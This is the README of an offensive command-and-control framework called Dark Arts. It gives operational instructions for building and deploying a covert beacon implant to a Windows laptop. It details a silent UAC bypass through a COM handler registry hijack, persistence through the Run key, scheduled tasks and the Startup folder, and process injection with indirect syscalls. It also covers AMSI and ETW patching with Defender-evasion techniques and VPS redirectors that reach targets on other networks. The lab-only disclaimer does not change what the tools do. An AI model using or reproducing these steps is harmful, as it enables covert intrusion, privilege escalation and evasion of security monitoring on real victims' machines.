An asynchronous, mesh-capable command-and-control (C2) framework for laboratory research and authorized security testing.
Dark Arts is built around a simple asymmetry: implants never wait, operators never connect to targets. Beacons check in on their own schedule; tasking and results are exchanged as encrypted blobs through a chain of stateless relays and rendezvous points. The operator console talks only to a control server, which never touches the target network.
Authorized use only. Everything here is designed for container labs and test accounts with written authorization and per applicable law. See THREAT_MODEL.md for the security model and constraints.
- Asynchronous tasking — task blobs are dropped by the server and picked up by beacons on their own schedule (default 60 s, per-session jitter, adjustable at runtime with a
sleeptask). - Mesh relays — relays inside the target LAN forward edge traffic so beacons never need direct egress; a relay holds no session keys and sees only ciphertext.
- Ratcheted forward secrecy — every session derives its own AEAD key stream via X25519 ECDH + HKDF ratchet. A counter mismatch (lost blob, restored state) is recovered deterministically by replaying the ratchet.
- Crash/restart persistence — server and beacon persist per-session send counters and last-task positions, so both sides resynchronize after restarts without skipping or replaying tasks. The server also persists its registered sessions (
state.json: send positions + agent public keys), so a server restart does not orphan implants — sessions are replayed on startup with their ratchets restored. - Traffic mimicry — optional per-request browser headers and rotating user agents, plus cover pages on the edge; the beacon can also emit periodic "noise" fetches to benign-looking endpoints.
- Pluggable stores — edge blobs live in a file store or S3/MinIO.
- Rendezvous dead drops — DNS TXT (own authoritative zone), file drops, and gist drops; all content is signed (operator ed25519) and encrypted.
- Operator console — a small REPL that lists sessions, issues tasks, streams live events over a WebSocket, and can kill or re-sleep beacons.
+---------------- TARGET NETWORK ----------------+
| |
operator console --+--> server --> edge --> relay <--> relay --+ |
(API) (egress) (egress) (LAN) (LAN) | |
| ^ | |
| | beacon +--<----+ |
| | (implant) |
| dead drops (DNS TXT / gist / file) |
+------------------------------------------------+
Data flow:
- Tasking:
console --POST--> server --(encrypt+store)--> S3/file store --(blob list)--> edge --(beacon poll)--> beacon --(decrypt, verify)--> execute - Results:
beacon --(encrypt+store)--> edge --(pump)--> server --(GET)--> console - Rendezvous:
stager --(DNS/gist/file)--> signed+encrypted stage instructions
| Component | Role | Never sees | Notes |
|---|---|---|---|
server |
Session manager, tasking queue, result store, REST API + WebSocket for the console | plaintext tasking | holds session ratchet state and per-session send counters (persisted to data/server/state.json) |
edge |
Stateless HTTPS ingress on the egress network; stores ciphertext blobs; serves cover pages | plaintext, session keys | store is file-based or S3/MinIO; scales to zero |
relay |
LAN-side forwarder for beacon HTTP; retries and persists pending uploads when upstream is down | session keys, plaintext | connects upstream to another relay or the edge; a beacon never needs direct egress |
beacon |
Implant; polls edge/relay/tasks/{sid}?f=server&since=N, executes tasks, posts results to /ingest?f=beacon |
— | derives its identity from a 32-byte seed; session keys in memory only; persists {send_pos, last_task} |
stager |
First stage; fetches a signed, encrypted beacon stage from a dead drop | — | two modes: memory (exec in-process) and child (spawn a process); TTP inject integration is not yet implemented |
console |
Operator REPL | — | talks to the server API only |
| dead drops | Passive rendezvous (DNS TXT zone, file dir, gist) | operator identity | content is always signed + encrypted |
minio (lab) |
S3-compatible object store holding encrypted blobs | plaintext |
- Identities: ed25519 keypairs derived from seeds. The server has one (
DARK_ARTS_SERVER_SEED); every agent has one; the operator signs tasks and stage drops with another (-operator-pub). - Session IDs:
sid = sha256(agent_public_key)[:16](32 hex chars). Sessions are registered on the server bytouch <sid> <agent_pub_hex>. - Sessions: X25519 ECDH between agent and server identities, HKDF-ratcheted per send; every envelope is AEAD-authenticated — an observer, the edge, or a seized relay cannot read or forge tasking.
- Counters: each envelope carries a monotonic send counter. Server and beacon persist them; on startup the beacon calls
SkipSend(n)so its ratchet catches up, and the server replays tasks withsince=Nso nothing is delivered twice or lost. After a restore, wipe the edge store so stale blobs cannot inflate a fresh beacon'slast_taskpast new counters.
cmd/ binaries: server, edge, relay, beacon, stager, console, genid
pkg/ libraries: crypto, tasking, mesh, edge, relay, server, beacon,
console, stager, deaddrop, mimic, store, transport, ttp, logging
lab/ Docker lab: docker-compose.yml, Dockerfiles, bind9 zone, victim pages
Makefile build/test/lab targets (Linux/macOS; on Windows run docker compose directly)
THREAT_MODEL.md threat model, trust boundaries, adversary classes
- Go 1.26+
- Docker with the compose plugin (Docker Desktop on Windows with WSL2, or docker + docker-compose-plugin on Linux)
curl; DNS lookups can be done through the lab's DNS container ifdigis not on the host
go build ./...Cross-compile the beacon for Linux targets (static, no CGO):
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o beacon ./cmd/beacondocker compose -f lab/docker-compose.yml up -d --build --waitThis builds and starts nine containers. Everything should report healthy:
docker compose -f lab/docker-compose.yml ps| Container | IP | Host ports |
|---|---|---|
dark-arts-dns |
10.0.42.200 | 127.0.0.1:5553/udp+tcp (DNS) |
dark-arts-minio |
egress | 127.0.0.1:9000 (S3), 9001 (console) |
dark-arts-edge |
10.0.43.210 | 127.0.0.1:8443 (HTTPS) |
dark-arts-relay |
10.0.42.210 (+egress) | 127.0.0.1:7443 |
dark-arts-server |
egress | 127.0.0.1:9002 (API) |
dark-arts-tunnel |
egress | — (Cloudflare quick tunnel → relay :7443; URL in docker logs) |
dark-arts-victim1..3 |
10.0.42.3+ | — |
Networks: dark-arts-net-lan (10.0.42.0/24 — victims and relay) and dark-arts-net-egress (10.0.43.0/24 — edge, minio, server). The relay spans both; victims resolve edge.darkarts.lab to the relay via Docker extra_hosts and via the lab zone:
docker exec dark-arts-dns dig @127.0.0.1 +short TXT _dd.darkarts.lab # ph0-deaddrop-ok
docker exec dark-arts-dns dig @127.0.0.1 +short A edge.darkarts.lab # 10.0.42.210
curl http://127.0.0.1:8443/healthz # ok (edge)
curl http://127.0.0.1:7443/healthz # ok (relay)
curl -o /dev/null -w '%{http_code}\n' http://127.0.0.1:8443/ # 200 (cover page)
curl -o /dev/null -w '%{http_code}\n' http://127.0.0.1:8443/nope # 404 (nginx-looking)The lab DNS host port is 5553 because Windows reserves 5353 (mDNS), 5354, and 5355 (LLMNR). If a port is taken on your host, change the
ports:mapping and the zone inlab/.The DNS service mounts
lab/dns/(writable) as/etc/bind— named needs to write its.jnljournal there to accept TSIG-signed dynamic updates (deaddrop.NewDNS(...).Publish). Do not change this to read-only file mounts.
The lab ships with fixed identities. The server's seed is 0101…01 (its public key is a4e09292b651c278b9772c569f5fa9bb13d906b46ab68c9df9dc2b4409f8a209); the API key is opkey.
docker cp beacon dark-arts-victim1:/tmp/beacon
docker exec -u root dark-arts-victim1 chmod +x /tmp/beacon
docker exec -d dark-arts-victim1 sh -c \
'DARK_ARTS_SEED=0202020202020202020202020202020202020202020202020202020202020202 \
DARK_ARTS_SERVER_PUB=a4e09292b651c278b9772c569f5fa9bb13d906b46ab68c9df9dc2b4409f8a209 \
DARK_ARTS_EDGE=http://edge.darkarts.lab:7443 \
DARK_ARTS_STATE_DIR=/tmp/beacon-state \
DARK_ARTS_SLEEP=2 DARK_ARTS_MIMIC=true /tmp/beacon > /tmp/beacon.log 2>&1'
docker exec dark-arts-victim1 cat /tmp/beacon.logThe beacon derives sid = sha256(agent_pub)[:16] from its seed and logs it (for seed 0202…02: cfa570c653bd212b10a9cb551fd7a1b4). Register the session with the server:
curl -s -X POST http://127.0.0.1:9002/api/v1/sessions \
-H 'Authorization: Bearer opkey' -H 'Content-Type: application/json' \
-d '{"id":"cfa570c653bd212b10a9cb551fd7a1b4","agent_pub":"ce8d3ad1ccb633ec7b70c17814a5c76ecd029685050d344745ba05870e587d59"}'To use a fresh seed, generate the identity with go run ./cmd/genid <64-hex-seed> — the server refuses a touch without the correct agent_pub. On the console, touch <sid> <pub_hex> does the same registration.
go build -o console.exe ./cmd/console
set DARK_ARTS_SERVER_URL=http://127.0.0.1:9002 # $env: on PowerShell
set DARK_ARTS_API_KEY=opkey
set DARK_ARTS_OP_ID=op-lab
.\console.exeCommands:
| Command | Purpose |
|---|---|
sessions / ls |
list registered sessions |
session <id> |
session detail |
touch <id> <pub_hex> |
register a session (id + agent public key) |
ttps |
list available task types |
task <sid> <type> [k=v …] |
issue a task (e.g. task <sid> shell cmd=echo hello, task <sid> bof data=<b64> fn=go, task <sid> amsi action=activate) |
tasks |
list task queue |
results [sid] |
list results |
kill <sid> |
send a kill directive (beacon exits cleanly) |
sleep <sid> <seconds> |
change the beacon's sleep interval |
uactest <sid> [cmd] |
issue a silent elevation test (method=daily) and watch for the result |
uacdll [-SkipBeacon] |
rebuild the UAC payload DLL from pkg/beacon/uacdll/darts_ucd.c (then package -Seed <seed>) |
watch |
stream live task/result events (stop to exit) |
quit / exit |
leave |
persist / unpersist install or remove logon persistence from the beacon. Parameters: method (reg, schtasks, startup — required), name (required; registry value / task name / file base name), cmd (optional; defaults to a hidden relaunch of the beacon itself).
task <sid> persist method=reg name=sysaux # HKCU\...\CurrentVersion\Run
task <sid> persist method=schtasks name=sysaux # needs an elevated beacon (ONLOGON task)
task <sid> persist method=startup name=sysaux # Startup folder .cmd
task <sid> unpersist method=reg name=sysauxreg and startup work from a non-elevated beacon; schtasks (ONLOGON trigger) requires elevation — the beacon reports Access is denied otherwise. Verify with reg query HKCU\...\Run /v <name>, schtasks /Query /TN <name>, or the Startup folder.
Scripted (non-interactive) runs work by piping a file of commands into the binary.
Issue a task, then confirm the result:
curl -s -X POST http://127.0.0.1:9002/api/v1/tasks \
-H 'Authorization: Bearer opkey' -H 'Content-Type: application/json' \
-d '{"session_id":"cfa570c653bd212b10a9cb551fd7a1b4","op_id":"op-lab","type":"shell","params":{"cmd":"echo dark-arts-e2e-ok"},"signed_by":"op-lab"}'
curl -s http://127.0.0.1:9002/api/v1/results -H 'Authorization: Bearer opkey' # output is base64
docker exec dark-arts-victim1 cat /tmp/beacon-state/state.json # {"send_pos":1,"last_task":1}
docker exec dark-arts-minio sh -c 'mc alias set m http://127.0.0.1:9000 darkarts dark-arts-lab >/dev/null 2>&1; mc ls -r m/darkarts'You should see one server/00000000000000000000 blob (the task) and one beacon/00000000000000000000 blob (the result) per session under their sid/ prefixes in MinIO.
The full zero-to-deployed flow for a Windows lab host (Go + Docker Desktop) and a Windows 11 target laptop. Everything after step 4 runs from the operator console (lab\console.cmd).
- Lab host: Go 1.26+ (
C:\Program Files\Go\bin\go.exe— the lab scripts hardcode this path), Docker Desktop (WSL2) with the compose plugin, git. w64devkit (C:\Users\<you>\w64devkit) only if you ever rebuild the UAC payload DLL from C. - Target laptop: Windows 11 24H2+ for the zero-prompt daily UAC channel (
method=daily); on Win10 only the one-time-promptmethod=schtaskspath works.
git clone <your-repo-url> "C:\Users\<you>\Dark Arts"
cd "C:\Users\<you>\Dark Arts"
go build ./...lab\start-lab.cmdBrings up server, edge, relay, minio, DNS, victims, tunnel and waits for http://127.0.0.1:9002/healthz and http://127.0.0.1:7443/healthz to answer ok.
lab\console.cmddark-arts> package
One command: fresh identity, auto-detected LAN edge, lab\laptop-pkg\beacon.exe built (self-contained — UAC payload DLL embedded, 15 s sleep, sleep-mask on), session registered. It prints the seed (reuse with package -Seed <seed>) and the sid.
Copy lab\laptop-pkg\beacon.exe to the laptop and double-click it (no console window, no env vars, single instance). Wait ~15 s, then:
dark-arts> sessions # the laptop's sid shows a recent last-seen
The walkthrough covers a same-network laptop. For a target on foreign WiFi or a different network, use the cross-network variant below (it replaces steps 5–6).
Before the console (one-time VPS prep):
- Create a Debian/Ubuntu VPS and open TCP 443 (and 80 while certbot runs) in the provider firewall — OCI security list, GCP VPC rule (
gcloud compute firewall-rules create dark-arts-443 --allow tcp:443,tcp:80 ...); a VM-level ufw rule alone is not enough. dark-arts> sshkey— paste the printed public key into the VPS'sauthorized_keys(or the provider's launch form).- Give the SSH user passwordless sudo (
echo "<user> ALL=(ALL) NOPASSWD:ALL" > /etc/sudoers.d/<user>) orredirectordies atapt-get update.
In the console (lab already up):
dark-arts> redirector -Reverse <user@vps> [domain]— one command provisions nginx (TLS :443 → upstream127.0.0.1:7443), starts the outbound SSH tunnel window (ssh -R 7443), verifieshttps://<vps>/healthzfrom the VPS, then builds + registers the package with edgeshttps://<vps>:443,http://<lab-ip>:7443.- Keep the tunnel window open; for persistence across reboots:
dark-arts> tunnel-install <user@vps>(logon scheduled task). - Copy
lab\laptop-pkg\beacon.exeto the laptop and double-click it — works from any network. - Continue with step 7 (
uactest) below.
Plain (non-reverse) mode: dark-arts> redirector <user@vps> [domain] instead — requires the lab host reachable from the VPS on TCP 7443 (router port-forward; verify with nc -vz <lab-ip> 7443 from the VPS) and the Windows firewall rule (the console adds it when elevated).
If step 4 verifies with healthz returned 502: the tunnel wasn't up yet — check the tunnel window for errors and confirm the listener on the VPS with ss -tlnp | grep 7443, then re-run (the whole redirector -Reverse run is idempotent).
dark-arts> uactest <sid>
First result waits for the stock Windows UnifiedConsentSyncTask daily fire (12:00±2h, or at wake-up) that bootstraps the channel; the console prints the on-laptop verification checklist if it times out. After the first fire, every uac command returns in seconds, fully silent. Mechanism, fallbacks (method=schtasks for Win10 or when speed matters) and caveats: see the "Silent elevation (uac)" section under "Deploying to a Windows laptop".
dark-arts> task <sid> shell cmd=whoami
dark-arts> results
dark-arts> watch # live events; "stop" to exit
dark-arts> sleep <sid> 60
dark-arts> task <sid> persist method=reg name=sysaux
dark-arts> kill <sid>
BOFs execute native COFF objects in-memory inside the beacon process — no child process, no disk write. Compile a C file with MSVC (cl /c /nologo /O2 /GS-), then issue the task:
dark-arts> task <sid> bof data=<base64-encoded-COFF> fn=go
The data field is a base64-encoded .obj file. The fn field is the entry-point function name (default: go). The function must follow the BOF convention: void go(char *args, int length).
The BOF can call BeaconPrintf and BeaconOutput to send output back to the operator. Results appear in results <sid> like any other task.
Example: compile and run a test BOF
# On the lab host (MSVC required)
cl /c /nologo /O2 /GS- bof_test\bof_test.c /Fo:bof_test\bof_test.obj
# Base64-encode the artifact
$coff = [Convert]::ToBase64String([IO.File]::ReadAllBytes("bof_test\bof_test.obj"))Then in the console:
dark-arts> task <sid> bof data=<paste-base64-here> fn=go
dark-arts> results <sid> # output: HiTest 42
BOF payload schema:
| Field | Required | Description |
|---|---|---|
data |
yes | Base64-encoded COFF .obj file |
fn |
no | Entry-point function name (default: go) |
args |
no | Space-separated arguments passed to the BOF |
Limitations: Windows AMD64 only. The BOF executes in-process — a misbehaving BOF can crash the beacon. The bof_test.obj artifact (compiled from bof_test/bof_test.c) exercises all Beacon APIs and is available for testing.
lab\stop-lab.cmd (or docker compose -f lab/docker-compose.yml down -v — see Teardown). To un-arm the daily channel on a laptop, see the teardown note in the "Silent elevation (uac)" section.
The lab's relay port is published on 0.0.0.0:7443 (with an inbound firewall rule), so an implant on another machine on the same network can check in through it. The beacon accepts a comma-separated edge list and tries each candidate in order at every check-in (any HTTP answer wins, 3 s probe timeout), so the same binary works on the lab LAN and on a foreign WiFi (via a VPS redirector — see the next section).
# PowerShell on the lab host (this repo) — build + auto-register in one step
lab/make-laptop-package.ps1 -SleepMask
# generates a fresh identity, auto-detects the host's LAN IP as the primary
# edge, builds beacon.exe, and POSTs the session to the server (auto-registers)The script prints the generated seed (keep it to redeploy the same identity later). Options:
| Flag | Meaning |
|---|---|
-Seed <64-hex> |
rebuild/register a specific identity (default: random) |
-Edge "https://<vps>:443,http://<lab-ip>:7443" |
explicit edge list (default: auto-detected LAN IP) |
-SleepMask / -NoInject |
enable the sleep mask / drop the inject TTP |
-ServerUrl / -ApiKey |
registration target (default http://127.0.0.1:9002, opkey) |
-Insecure |
bake cfgInsecure=true: skip TLS certificate verification (needed for self-signed redirector certs) |
-SkipRegister |
build only; print the POST /api/v1/sessions line to run later |
This builds a self-contained beacon.exe (stealth recipe) with the seed, server public key, edge candidate list, 15 s sleep and a beacon.log next to it baked in via -ldflags -X. The target user just copies the single exe and double-clicks it — no environment variables, no launcher script. DARK_ARTS_* variables still take precedence when set (a comma-separated DARK_ARTS_EDGE overrides the baked list). The script prints the identity and registers the session itself (POST /api/v1/sessions is idempotent, so re-running just re-touches it). Results appear under the new sid. Use -NoInject to build a beacon without the inject TTP if the target's AV objects. Generate identities with go run ./cmd/genid <seed-hex-64>.
See the command reference in Quick start and the walkthrough above; lab\console.cmd sets the right DARK_ARTS_SERVER_URL/DARK_ARTS_API_KEY.
The uac task runs a command with a full elevated token. The default method (daily) is fully silent — no UAC prompt ever:
- Mechanism: the stock Win11 24H2+
UnifiedConsentSyncTask(\Microsoft\Windows\ConsentUX\UnifiedConsent\UnifiedConsentSyncTask) is a Group/BA,HighestAvailable, non-idle-gated task with a dailyTimeTrigger(12:00±2h,StartWhenAvailable— also fires at wake-up) that runs in the interactive user's session and activates its ComHandler CLSID{82AA0895-198A-4C1B-B2D1-C16894218AFB}at HIGH. The beacon drops a payload DLL at%TEMP%\darts_ucd.dlland points the HKCU override for that CLSID at it (HKLM still owns the real handler, so scheduler validation passes, but user-session activation consults HKCU first — verified live in the lab). On each daily fire the DLL loads at HIGH, bootstraps the reusable\dark-arts-uacHIGHEST task (InteractiveToken, no triggers, hidden), and runs the pending command; it then returnsREGDB_E_CLASSNOTREG, so the host reports a benign activation failure. - First invocation arms the channel and waits up to ~26h for the next fire (the beacon's task loop is busy meanwhile). After the first fire the reusable task exists and every
uaccommand returns in ~2–5 s via a silentschtasks /run. - Fallbacks:
method=schtasks(one-time ShellExecuterunasprompt, then silent forever), plus the classiccmluautil/fodhelper/computerdefaultsmethods. - Verify on the laptop after a fire:
type %TEMP%\uc_daily_marker.txt(il=1lines = loaded at HIGH, last linedone),schtasks /query /tn \dark-arts-uac,reg query "HKCU\Software\Classes\CLSID\{82AA0895-198A-4C1B-B2D1-C16894218AFB}\InprocServer32"(→%TEMP%\darts_ucd.dll). - Console automation:
uactest <sid> [cmd]issues the task and watches for the result (prints the checklist + troubleshooting if the first fire hasn't happened yet);uacdllrecompiles the payload frompkg/beacon/uacdll/darts_ucd.cwhen it changes (thenpackage -Seed <seed>to bake it in). - Caveats: requires Win11 24H2+ (no
UnifiedConsentSyncTaskon Win10 — usemethod=schtasks); the laptop user must be logged on; Defender must not flag the DLL (rebuild from a clean gcc if it does; keep the DLL out of Go c-shared builds — those get ML-flagged). - Teardown: delete the HKCU override key,
%TEMP%\darts_ucd.dll,%TEMP%\darts-uac-work.txt, and the\dark-arts-uactask.
The production-grade path (Sliver/CS-style): a VPS terminates TLS on 443 and forwards to the lab relay, so the target laptop needs no client software and can be on any network. lab/redirector/setup.sh provisions the VPS in one shot on Debian/Ubuntu:
# on the VPS: ./setup.sh <lab-host-ip> [domain]
./setup.sh <lab-ip> # self-signed cert -> beacon needs -Insecure
./setup.sh <lab-ip> c2.example.com # Let's Encrypt cert (DNS A record -> VPS)- nginx terminates HTTPS :443 → plain HTTP →
<lab-host-ip>:7443(the relay; no relay changes needed). - The lab host's Windows firewall must allow inbound TCP 7443 from the VPS:
New-NetFirewallRule -DisplayName "dark-arts-relay" -Direction Inbound -Protocol TCP -LocalPort 7443 -Action Allow. - Oracle Cloud free tier (and AWS/GCP/Azure): works —
setup.shhandles both apt (Ubuntu) and dnf (Oracle Linux). Two provider-specific steps: add an ingress rule for TCP 443 (and 80 while certbot runs) in the OCI security list (GCP: a VPC firewall rule —gcloud compute firewall-rules create dark-arts-443 --allow tcp:443,tcp:80 --direction INGRESS --source-ranges 0.0.0.0/0); VM-level ufw alone is not enough. And the lab host must be reachable from the VPS on 7443 (home NAT: router port-forward, or CG-NAT breaks it — verify withnc -vz <lab-ip> 7443from the VPS). - Then build the package against it (multi-edge keeps the LAN path for same-network beacons):
lab\make-laptop-package.ps1 -Edge "https://<vps-ip>:443,http://<lab-ip>:7443" -Insecure-Insecure bakes cfgInsecure=true so self-signed redirector certs verify cleanly; with a real Let's Encrypt cert you can drop it. The full path (beacon → https :443 → nginx → relay → server) is tested locally via a TLS reverse proxy: task round-trips cleanly through the HTTPS edge.
redirector in the console does everything — key generation, VPS provisioning, verification, package build+registration:
dark-arts> sshkey # show/generate the ed25519 key (paste into the VPS)
dark-arts> redirector user@203.0.113.5 # provision nginx TLS :443 -> lab relay :7443, verify, build+register
dark-arts> redirector -Reverse user@203.0.113.5 # same, but the VPS forwards into an outbound SSH tunnel
redirector requires key-based SSH to the VPS (the console sshkey command generates/prints the key to paste), passwordless sudo for the SSH user, and the provider's firewall open on 443 (see below); it auto-detects the lab host IP, provisions nginx (lab/redirector/setup.sh via ssh), verifies the forward, then builds a package with edges https://<vps>:443,http://<lab-ip>:7443 -Insecure and registers it. A non-elevated console skips the Windows firewall rule (run elevated or add New-NetFirewallRule -DisplayName "dark-arts-relay" -Direction Inbound -Protocol TCP -LocalPort 7443 -Action Allow).
The VPS forwards :443 into an outbound SSH tunnel maintained by the lab host, so no inbound ports are needed anywhere:
dark-arts> redirector -Reverse <user@vps> [domain]
The command provisions nginx with upstream 127.0.0.1:7443, starts lab\redirector\tunnel.cmd <user@vps> (ssh -R 7443:127.0.0.1:7443 with keepalive + 5s reconnect loop) in its own window, verifies the full path from the VPS, then builds + registers the package (edges https://<vps>:443,http://<auto-detected-lab-ip>:7443 -Insecure — the LAN fallback is the lab host's real IP, never 127.0.0.1, so a same-network beacon doesn't point at itself). The tunnel window must actually run: if the verification prints healthz returned 502, the SSH forward wasn't up yet — check the tunnel window for errors and confirm the listener on the VPS with ss -tlnp | grep 7443. -Insecure is a real flag throughout (console package → make-laptop-package.ps1 → baked cfgInsecure=true in the beacon; the package output prints TLS: certificate verification disabled (baked -Insecure)). For a persistent tunnel across reboots: lab\redirector\install-tunnel-task.ps1 <user@vps> (scheduled task at logon). Keepalive is ServerAliveInterval=30.
Debian 13 VM, external IP <vps-ip> in testing. Two gotchas beyond the generic steps above:
- SSH username comes from the key comment. When you paste a bare public key into the VM's SSH-keys metadata field, GCP derives the OS user from the key's comment field — if your key comment is
dark-arts-lab, the user isdark-arts-lab, notdebian.ssh dark-arts-lab@<vps-ip>from the lab host. (Ausername:-prefixed entry gives you that username instead; either is fine as long as you SSH as the user you created.) - The SSH user needs passwordless sudo or
setup.shdies atapt-get updatewithPermission deniedon/var/lib/apt/lists/lock(the script now detects this and prints a hint). From the GCP browser SSH session (that user has sudo), run once:then re-runsudo bash -c 'echo "dark-arts-lab ALL=(ALL) NOPASSWD:ALL" > /etc/sudoers.d/dark-arts-lab && chmod 440 /etc/sudoers.d/dark-arts-lab'dark-arts> redirector -Reverse dark-arts-lab@<vps-ip>. The wholeredirector -Reverserun is idempotent — re-running just re-installs, re-verifies and rebuilds. End-to-end verification in testing washealthz 200pulled from the VPS through the running tunnel.
The lab ships a tunnel container exposing the relay on an account-less public URL (docker logs dark-arts-tunnel | grep trycloudflare), but the URL rotates on restart and the tunnels get throttled (observed dead after ~13 h). Use the VPS redirector for anything real.
The inject task type runs a position-independent x64 stub in the beacon's own process (pid=0) or in a remote process (pid=<target>). It is compiled out unless the beacon is built with the inject tag:
# PowerShell (Windows)
lab/build-beacon.ps1 # -> beacon-inject.exe (stripped + trimpath)
# Linux/macOS cross-build equivalent
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -tags inject -trimpath -buildvcs=false \
-ldflags "-s -w" -o beacon-inject.exe ./cmd/beaconThe inject path runs entirely on indirect syscalls (pkg/evasion + pkg/inject) — no imported Windows API function is ever called, so user-mode hooks (ETW, AV instrumentation) are never reached on the execution path:
- Stringless SSN resolution — the 12 needed
Nt*functions are identified by djb2 hash of their names (only hash constants in the binary, zero API-name strings). The export table is walked on a clean\KnownDlls\ntdll.dllcopy (opened viaNtOpenSection, mapped viaNtMapViewOfSectionwith the section's own image attributes — same on-disk file, freshly mapped, tamper-proof against in-memory hooking) with a live-ntdll fallback; the RVA is bounds-checked againstSizeOfImagebefore use. SSNs are then read straight out of the table (verified against the canonical Win10 22H2 table, e.g.NtAllocateVirtualMemory=0x18,NtWriteVirtualMemory=0x3A,NtProtectVirtualMemory=0x50,NtCreateThreadEx=0xC9,NtWaitForSingleObject=0x04). - Indirect
syscallgadget — one ABI0 assembler trampoline (pkg/evasion/syscall_amd64.s) CALLs asyscall; ret(0F 05 C3) site inside live ntdll so RIP is in ntdll at SYSCALL time; the SSN and up-to-11 arguments are shuffled into the Windows x64 kernel ABI (EAX/R10/RDX/R8/R9 + stack at[RSP+0x28..]after the CALL push). The gadget address and the whole table are resolved once per process, at first use. CALL (not JMP) is required so the gadget's RET returns throughinvokeSyscalland the NTSTATUS is stored — the earlier JMP-based attempt dropped the return path and failed at call depth ≥ 2. - Threading —
NtCreateThreadExwith the properObjectAttributes(a NULL one AVs on current builds); the kernel's ret-trampoline exits the thread with the stub'seaxas exit code, read back viaNtQueryInformationThread(0x25) afterNtWaitForSingleObject. - Buffer lifetime — the shellcode page is freed only after the thread completes:
SelfRundeliberately leaks the ~4 KiB RX buffer (the thread starts asynchronously; freeing early makes it execute released pages and crash the process with0xC0000005), andRemoteRunfrees after the 30 s wait finishes (a timeout leaks on purpose rather than killing the target).
Indirect-syscall history: an earlier JMP-based indirect path was A/B-tested and failed at call depth ≥ 2 (5/5 wrong statuses) because JMP to syscall; ret let the gadget RET straight to the Go caller, skipping the NTSTATUS store. The current implementation uses CALL instead, which pushes a resume address so the gadget returns into invokeSyscall; the stack shuffle is shifted one slot to compensate for the extra 8-byte push, and NOFRAME avoids a PUSHQ BP prologue that would break the kernel's [RSP+0x28] arg5 offset. Verified by TestSyscallABI (NtClose(0) → 0xC0000008), TestOpenProcessSelf, TestUnhookStubsMatchClean, and TestIndirectSyscallGadget (gadget bytes are 0F 05 C3).
Defender caveat: compile-temp artifacts (go test binaries, one early build) have been flagged by ML engines (Trojan:Win32/Bearfoos.A!ml, Behavior:Win32/DefenseEvasion.A!ml) and remediated. The stripped, final beacon builds (stealth recipe: -s -w + -trimpath + -buildvcs=false + per-build -buildid) have consistently passed — the indirect-syscall path avoids hooked-API call patterns entirely. The inject path is behaviorally loud by design and belongs in authorized labs only.
Beacon Object Files (BOFs) are compiled COFF .obj files executed in-memory inside the beacon process. They can call Beacon API functions (BeaconPrintf, BeaconOutput, BeaconDataParse, etc.) to exchange data with the beacon — the same mechanism used by Cobalt Strike and other C2 frameworks.
How it works:
- The operator issues a
boftask with a base64-encoded COFF object. - The beacon decodes the COFF, resolves external symbols (Beacon API functions) to their in-process trampolines.
- The COFF sections are loaded into executable memory (RWX via
NtProtectVirtualMemory). - The entry-point function is called with the packed arguments buffer.
- Any
BeaconPrintf/BeaconOutputcalls are captured and returned as task output.
Compiling BOFs:
BOFs must be compiled as position-independent COFF objects with MSVC:
cl /c /nologo /O2 /GS- mybof.c /Fo:mybof.objThe /GS- flag disables stack cookie checks (required for in-process execution). The entry-point function must follow the convention:
void go(char *args, int length) {
// args is a packed buffer; use BeaconDataParse to read it
// use BeaconPrintf/BeaconOutput to send output back
}Issuing BOF tasks:
dark-arts> task <sid> bof data=<base64-COFF> fn=go args="arg1 arg2"
| Field | Required | Description |
|---|---|---|
data |
yes | Base64-encoded COFF .obj file |
fn |
no | Entry-point function name (default: go) |
args |
no | Space-separated arguments (packed into the buffer) |
Beacon API functions available to BOFs:
| Function | Purpose |
|---|---|
BeaconPrintf(int type, char *fmt, ...) |
Formatted output (type 0 = OUTPUT_CASE for results) |
BeaconOutput(int type, char *data, int len) |
Raw output |
BeaconDataParse(DataParser *parser, char *buffer, int length) |
Initialize argument parser |
BeaconDataInt(DataParser *parser) |
Read int32 from args |
BeaconDataShort(DataParser *parser) |
Read int16 from args |
BeaconDataLength(DataParser *parser) |
Remaining bytes in parser |
BeaconDataExtract(DataParser *parser, int size) |
Extract raw bytes from args |
Example BOF (bof_test/bof_test.c):
#include "beacon.h"
void go(char *args, int length) {
BeaconPrintf(0, "Test %d", 42);
BeaconOutput(0, "Hi", 2);
}Compile: cl /c /nologo /O2 /GS- bof_test.c /Fo:bof_test.obj
Issue: task <sid> bof data=<base64-of-bof_test.obj> fn=go
Result: Test 42 and Hi appear in the output.
Limitations:
- Windows AMD64 only (COFF format is x64-specific).
- Executes in-process — a crashing BOF crashes the beacon.
- No dynamic linking — all symbols must be resolved at load time.
- The BOF artifact (
bof_test/bof_test.obj) is precompiled and checked into the repository for testing.
The beacon can disable AMSI (Antimalware Scan Interface) and ETW (Event Tracing for Windows) at runtime to prevent security products from inspecting in-memory tasking, BOF execution, and payload buffers.
How it works:
Both controls patch function prologues in-memory in the beacon's own loaded amsi.dll and ntdll.dll modules:
- AMSI — overwrites the first bytes of
AmsiScanBuffer(the function AV engines hook to inspect buffers before scan) with axor eax,eax; retstub, causing everyAmsiScanBuffercall to return 0 (S_OK) immediately without scanning. - ETW — overwrites the first bytes of
EtwEventWrite(the function Windows uses to log ETW events) with axor eax,eax; retstub, silencing ETW event emission from the beacon process. Patches the live ntdll in memory (not a clean copy), so the ETW stop is real.
Resolution strategy:
Both controls resolve the target function from the already-loaded module via LoadLibraryW (which returns the existing module handle, not a new load). This ensures the resolved address is in the actual code page used by the process. A separate KnownDll mapping is only used to read the clean on-disk original bytes for accurate restore.
Hardening (Defender-evading):
The patching uses multiple techniques to defeat static and behavioral detection:
| Technique | Purpose |
|---|---|
| Randomized patch patterns | 4 variants per control (all zero EAX/RAX); pattern chosen randomly per session |
| KnownDlls section mapping | NtOpenSection + NtMapViewOfSection on \KnownDlls\<dll> to read clean original bytes (view unmapped after use) |
| Timing jitter | 100μs–5ms random sleep between protection flip and write to break timing-based detection |
0xCC (int3) padding |
Replaces 0x90 NOP sled padding — int3 is the standard compiler padding byte and looks like legitimate code |
| Original protection preserved | VirtualQuery reads the page's actual protection; restored to original (not hardcoded RX) |
Console usage:
dark-arts> task <sid> amsi action=activate # patch AmsiScanBuffer (disable AMSI)
dark-arts> task <sid> amsi action=status # check current state
dark-arts> task <sid> amsi action=deactivate # restore original prologue
dark-arts> task <sid> etw action=activate # patch EtwEventWrite (disable ETW)
dark-arts> task <sid> etw action=status
dark-arts> task <sid> etw action=deactivate # restore original prologue
Payload schema:
